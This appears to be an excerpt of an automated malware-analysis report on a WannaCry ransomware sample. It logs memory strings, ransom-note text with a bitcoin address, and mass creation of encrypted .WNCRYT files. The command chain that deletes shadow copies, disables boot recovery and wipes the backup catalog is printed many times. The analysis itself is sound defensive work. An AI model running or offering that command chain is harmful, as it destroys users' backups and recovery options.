                  Source: @WanaDecryptor@.exeBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000013.00000000.2575420762.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000013.00000000.2575420762.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: @WanaDecryptor@.exe, 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet &
                  Source: @WanaDecryptor@.exe, 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet &
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exeBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000016.00000002.2678330392.0000000000635000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietC:\Windows\S\Registry\Machine\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=computerComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\computerNUMBER_OF_PROCESSORS=16OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VB\Registry\Machine\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\GRE_InitializeFamily 6 ModJ
                  Source: @WanaDecryptor@.exe, 00000016.00000002.2677869962.000000000019B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: ^Iu/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000016.00000002.2677869962.000000000019B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: ucmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000016.00000000.2576398227.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000016.00000000.2576398227.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: @WanaDecryptor@.exe, 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet &
                  Source: @WanaDecryptor@.exe, 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet &
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Source: @WanaDecryptor@.exe, 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.6584228178.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet &
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.6584228178.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet &
                  Source: @WanaDecryptor@.exe, 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: @WanaDecryptor@.exe, 00000025.00000002.3056893573.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet &
                  Source: @WanaDecryptor@.exe, 00000025.00000002.3056893573.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet &
                  Source: @WanaDecryptor@.exe, 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: @WanaDecryptor@.exe, 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: @WanaDecryptor@.exe, 00000028.00000002.3358141473.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet &
                  Source: @WanaDecryptor@.exe, 00000028.00000002.3358141473.000000000041F000.00000008.00000001.01000000.00000008.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet &
                  Modifies existing user documents (likely ransomware behavior)
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile moved: C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docxJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile deleted: C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docxJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile moved: C:\Users\user\Desktop\WKXEWIOTXI\UOOJJOZIRH.pngJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile deleted: C:\Users\user\Desktop\WKXEWIOTXI\UOOJJOZIRH.pngJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile moved: C:\Users\user\Desktop\NEBFQQYWPS.pdfJump to behavior
                  Writes many files with high entropy
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\5qSqWyip_grL-s7BafaqI3Mrk9M.br[1].js.WNCRYT entropy: 7.99881074796Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\7a7fF6LuoqTkiSALrk76L3PKXPc.br[1].js.WNCRYT entropy: 7.99734072238Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\aa9hZx6dBkQS_i3suvJ6ww8e5nE.br[1].js.WNCRYT entropy: 7.99940195628Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\FBodW3lwNP5Qe6iF-d8dpJdC9lc.br[1].js.WNCRYT entropy: 7.9961959674Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\Gvg_rvoUbIqmMQP7sgGFO3LCa-k.br[1].js.WNCRYT entropy: 7.99833392024Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\JBEweQ7VEIQ7Kw_-WmojxuJGAwk.br[1].js.WNCRYT entropy: 7.99865405556Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\LkOR3edFNHZAiGTQV_AIwzLk9cA.br[1].js.WNCRYT entropy: 7.99952734744Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\ODQJiXAfzI_tRXKLb6nW4N2Wgkc.br[1].js.WNCRYT entropy: 7.99465355921Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\OponOoR_xVMUgjhuqYDZ3mHxjqQ.br[1].js.WNCRYT entropy: 7.99856967522Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\Swi4yFavETfuSZ9mHxnUvb4UdTw[1].js.WNCRYT entropy: 7.99154623265Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\TSWmPiqgJeOeqVpcQGn2rPnK6nI.br[1].js.WNCRYT entropy: 7.99868652977Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\VrAE8CZ_PJkn0hgh2rwA1uThjyE.br[1].js.WNCRYT entropy: 7.99976944443Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\WMcG8NocIziwNYlfUEia3QDjwaM.br[1].js.WNCRYT entropy: 7.99882124153Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\XKZ41694P7XbcLcfFJwPjCvgy20.br[1].js.WNCRYT entropy: 7.99616035185Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\6PH02H7Z\ANzUnPnVY0oL0XWxs0RLJxjJLUo.br[1].js.WNCRYT entropy: 7.99192216024Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRYT entropy: 7.99930057355Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Intel\CUIPromotions\Images\000000_INTEL.ODYSSEY_ADDITIONAL_GAMEPLAY_ASSET_CUI.2.3-600x300.png.WNCRYT entropy: 7.99926651227Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3075AAB0-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT entropy: 7.99957228145Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000003e.db.WNCRYT entropy: 7.99801127645Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000035.db.WNCRYT entropy: 7.99786302818Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000036.db.WNCRYT entropy: 7.99724578741Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\spartan.edb.WNCRYT entropy: 7.99991747695Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\jquery-2.1.1.min[1].js.WNCRYT entropy: 7.99753292177Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\kernel-1e468708[1].js.WNCRYT entropy: 7.99933589637Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm.WNCRYT entropy: 7.9917051169Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx.WNCRYT entropy: 7.99663404052Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx.WNCRYT entropy: 7.99423040821Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\DZC4C4P0\Btu7tBP0vQIHDIMxag4vCxAtQuY[1].js.WNCRYT entropy: 7.9965871505Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx.WNCRYT entropy: 7.99994757247Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\offscreendocument_main.js.WNCRYT entropy: 7.99805905681Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\service_worker_bin_prod.js.WNCRYT entropy: 7.99800180912Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRYT entropy: 7.999683361Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRYT entropy: 7.99754885305Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1024_768_POS4.jpg.WNCRYT entropy: 7.9957643747Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS4.jpg.WNCRYT entropy: 7.99846986437Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cert9.db.WNCRYT entropy: 7.99920437773Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\key4.db.WNCRYT entropy: 7.99938324433Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRYT entropy: 7.99327170793Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a93335ab-ff33-457e-a1a9-982524fc8c3a}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99609085801Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392321679645.txt.WNCRYT entropy: 7.99845534014Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392621763174.txt.WNCRYT entropy: 7.9984692416Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT entropy: 7.99905085784Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT entropy: 7.99966448602Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db.WNCRYT entropy: 7.9998291393Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT entropy: 7.99971513257Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\optimization_guide_model_store\15\E6DC4029A1E4B4C1\1834E8353BA7A499\override_list.pb.gz.WNCRYT entropy: 7.99958695272Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT entropy: 7.99962092091Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\-icFkUHf7bLnqHNTa2VtdcbR5-Q.br[1].js.WNCRYT entropy: 7.99991556154Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\-iNIzuEypRdgRJ6xnyVHizZ3bpM.br[1].js.WNCRYT entropy: 7.99069759783Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT entropy: 7.99972827455Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT entropy: 7.99464560499Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\1ZEGC-vvjJWb_vC7u1jqy3MZE4Y.br[1].js.WNCRYT entropy: 7.9974080392Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT entropy: 7.99239100441Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\5qSqWyip_grL-s7BafaqI3Mrk9M.br[1].js.WNCRYT entropy: 7.99867615906Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT entropy: 7.99999287948Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\6aa-EF2IAVwnTTOiwAbhwI_VmCw[1].js.WNCRYT entropy: 7.99122466708Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT entropy: 7.99899805952Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\WelcomeFax.tif.WNCRYT entropy: 7.99771922617Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRYT entropy: 7.99848221151Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT entropy: 7.99573769369Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT entropy: 7.99359995803Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\FBodW3lwNP5Qe6iF-d8dpJdC9lc.br[1].js.WNCRYT entropy: 7.99587578282Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT entropy: 7.99856452694Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT entropy: 7.99559563266Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT entropy: 7.99855539172Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\HPspIzX9e9QU48C4vkAjSDd2Epw.br[1].js.WNCRYT entropy: 7.9993697495Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT entropy: 7.99397244768Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db.WNCRYT entropy: 7.99944708723Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\JBEweQ7VEIQ7Kw_-WmojxuJGAwk.br[1].js.WNCRYT entropy: 7.99861291967Jump to dropped file
